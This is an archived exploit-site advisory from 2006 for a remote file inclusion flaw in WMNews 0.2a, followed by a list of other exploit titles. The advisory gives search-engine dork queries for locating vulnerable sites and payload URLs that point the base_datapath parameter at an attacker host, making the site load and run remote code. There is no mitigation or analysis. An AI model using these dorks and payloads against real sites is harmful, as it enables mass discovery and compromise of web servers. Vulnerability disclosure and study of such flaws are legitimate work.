exploits , vulnerabilities , articles , WMNews <= 0.2a (base_datapath) Remote Inclusion Vulnerability

2006-07-27

WMNews <= 0.2a (base_datapath) Remote Inclusion Vulnerability

Rated as : High Risk

       Advisory: WMNews Remote File Include Vulnerability
 Release Date: 2006/07/26
         Author: uNfz
  Critical Level: High
        Contact: unfzbr@hotmail.com
         Vendor: Warta Mikael

--------------------
--------------------

Searching / Dork:

allinurl: *.php?Artid=*
allinurl: *.php?ArtCat=*
allinurl: wmprint.php
allinurl: wmview.php

--------------------

exploration:

/index.php?config=1&base_datapath=http://[evilhost]
/[dir]/index.php?config=1&base_datapath=http://[evilhost]

--------------------

uNfz
irc.efnet.org
securitydot.net - 2006-07-27

Exploits - newest 10 RSS | More

2007-06-15 57299 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34221 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42446 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29342 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19779 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16714 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19416 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16599 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33615 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17240 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit